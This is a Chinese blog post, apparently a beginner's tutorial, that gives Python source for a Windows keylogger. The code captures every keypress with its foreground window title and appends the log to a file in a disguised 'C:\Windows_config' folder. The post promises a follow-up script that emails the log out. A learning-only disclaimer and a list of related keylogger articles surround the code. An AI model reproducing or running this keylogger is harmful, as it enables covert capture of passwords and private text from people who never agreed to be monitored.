Python实现一个键盘记录器功能
关于Python3——键盘记录
- 关于Python3——键盘记录
- 环境:windows
- 所需库:
- 函数划分
关于Python3——键盘记录
该方法仅为学习使用,切勿用于非法用途
用python做一个键盘记录器,记录我么们敲击键盘得事件,当你有需要他的时候你可以运行这个脚本,来获取你想要得信息(注:个人练习,不喜勿喷)本次学习是将文件统一放在了C盘下,是为了方便我可以在这个脚本结束后,去调用发送邮件得脚本,邮件脚本会在下一篇博客发布(注:本人小白一名,代码中如有错误,请多多指点,该方法仅为学习使用,切勿用于非法用途)
环境:windows
所需库:
- keyboard
- ctypes
- os
函数划分
- get_current_window # 获取窗口标题
- write_key # 核心代码,获取按键信息,并保存到文本文件
- prepare # 出发按键函数
话不多说,看代码,大部分注释在代码中
(1)get_current_window()
def get_current_window(self):GetForegroundWindow = user32.GetForegroundWindow # 获取前端显示窗口GetWindowTextLength = user32.GetWindowTextLengthW # 获取敞口信息长度GetWindowText = user32.GetWindowTextW # 获取敞口文本信息hwnd = GetForegroundWindow() # 获取前台窗口的句柄length = GetWindowTextLength(hwnd) # 获取标题栏中窗口文本的长度buff = ctypes.create_unicode_buffer(length + 1) # 创建缓冲区来存储窗口标题字符串GetWindowText(hwnd, buff, length + 1)return buff.value
(2)write_key()
def write_key(self,key):key_info = []key_list = []global prev_windowfilename = 'keyboard.txt' # 存储得文件名,可以根据自己需求更改window = self.get_current_window() # 获取函数返回的信息# Windows_config,可以自定义if os.path.exists('C:\Windows_config\\') == False: # 判断c盘下有没有Windows_config这个文件os.makedirs('C:\Windows_config\\')if window == prev_window:key_info.append(str(key.name) + " | " + " | " + str(round(key.time)))key_list.append(str(key.name))content = "Date - " + str(datetime.now()) + " | Timestamp - " + str(self.get_timestamp()) + "\nWindow - " + str(self.get_current_window()) + "\nKeys - \n" + str("".join(key_info)) + "\n" + "\n"with open(r"C:\Windows_config\\" + str(filename), "a", encoding='utf-8') as f:f.write(content)returnkey_info.append(str(key.name) + " | " + " | " + str(round(key.time)))key_list.append(str(key.name))content = "Date - " + str(datetime.now()) + " | Timestamp - " + str(self.get_timestamp()) + "\nWindow - " + str(self.get_current_window()) + "\nKeys - \n" + str("".join(key_info)) + "\n" + "\n"with open(r"C:\Windows_config\\" + str(filename), "a",encoding='utf-8') as f:f.write(content)key_info = []key_list = []prev_window = windowkey_info.append(str(key.name) + " | " + str(key.scan_code) + " | " + str(round(key.time))) # 更新列表与新的关键字,扫描代码和时间戳key_list.append(str(key.name)) # 用键名更新列表
(3)prepare()
def prepare(self):global prev_windowprev_window = str()keyboard.on_press(self.write_key) # 当按下一个键时,调用write_key函数keyboard.wait() # 这将防止脚本结束,并允许前面的命令继续运行.
最后你可以试着运行下,比如:
if __name__ == '__main__':a = Keyboard_Windows()a.prepare()# 调用prepare函数来设置键盘记录器
今天得分享就到这里了,如有错误或逻辑错误得地方请大佬们多多指点
Python实现一个键盘记录器功能相关推荐
- python编写登录_通过Python编写一个简单登录功能过程解析
通过Python编写一个简单登录功能过程解析 需求: 写一个登录的程序, 1.最多登陆失败3次 2.登录成功,提示欢迎xx登录,今天的日期是xxx,程序结束 3.要检验输入是否为空,账号和密码不能为空 ...
- python 三种键盘记录器 based on pyhook,pynput,pygame
在python语言中使用键盘输入,其方式之多,令人发指.但是为什么我要写这篇文章呢?我乐意呀!哈哈哈.当然,同学发问了,老铁,你是闲出屁来了? 哼?怎么可能,我是闲的蛋疼... 咱先把泌尿外科的事放一 ...
- 手把手教你用SetWindowsHookEx做一个键盘记录器
"无忌,我教你的还记得多少?" "回太师傅,我只记得一大半." "那,现在呢?" "已经剩下一小半了." "那 ...
- Pyrthon写一个键盘记录器
目的:编写一个Python脚本,将用户按下的所有键保存在一个文本文件中. 提示:pynput是Python中的一个库,用于控制键盘和鼠标的移动,它也可以用于制作键盘记录器.简单地读取用户按下的键,并在 ...
- windows应用程序的开发一个键盘记录器
一 .创建一个C工程,添加一个CPP文件 名字随便起 #include <Windows.h>extern "C" __declspec(dllimport) BOOL ...
- 用 C# 做一个键盘记录器
某天写代码时突发奇想想知道自己用那个键用的最多,于是在网上搜了一通键盘记录软件,没找到一个满意的,于是决定自己写一个出来 ps:第一次用 C# 写 Windows 程序,可能很多地方不够规范 先撸一个 ...
- python 实现的键盘记录器 小功能
目录 一.安装pynput模块 二.编写代码 1.引入键盘模块 2.读取键盘操作 3.设置停止记录触发事件 4.启动监听 三.完整代码 一.安装pynput模块 PS C:\WINDOWS\syste ...
- 【Python】一个房贷计算器功能的小案例
题目要求: 房贷计算公式如下: 〉每月月供参考=贷款金额×[月利率×(1+月利率)^还款月数]÷{[(1+月利率)^还款月数]–1}>还款总额=每月月供参考×期限× 12 ≥支付利息=还款总额– ...
- 自动化测试(二)如何用python写一个用户登陆功能
需求信息: 写一个判断登录的程序: 输入: username password 最大错误次数是3次,输入3次都没有登录成功,提示错误次数达到上限 需要判断输入是否为空,什么也不输入,输入一个空格.n个 ...
最新文章
- 【LeetCode-面试算法经典-Java实现】【015-3 Sum(三个数的和)】
- UIBezierPath路径绘图
- 进程间通信——匿名管道
- 数据库开篇简介整体常识
- 内网和外网的区别_无需服务器,树莓派使用内网穿透进行建站与维护
- java8 stringbuilder_为什么 Java 8 中不再需要 StringBuilder 拼接字符串
- weblogic 升级bsu_Weblogic补丁升级之坑坑洼洼
- 实例55:python
- elementui图片上传php,vue+element-ui+富文本————图片上传
- aix 的c库为什么都是静态库_Linux静态库生成指南
- Firefox 用户加载的半数网页启用了 HTTPS
- mengento 数据库模型
- oracle10修改时区,ORACLE10g时区配置错误问题
- 想找一些外文文献,有哪些靠谱的外文文献网站推荐?
- python调用java之jpype参数类型转换
- EverEdit: Windows上国人开发的比Notepad++更优秀的高级文本编辑器
- Android预置默认输入法
- 光纤交换机 序列号_Brocade 光纤交换机常用命令
- BIN,S19,M0T,SREC,HEX文件解析;FileParse(二)之源码解析
- Intel芯片组大全最新版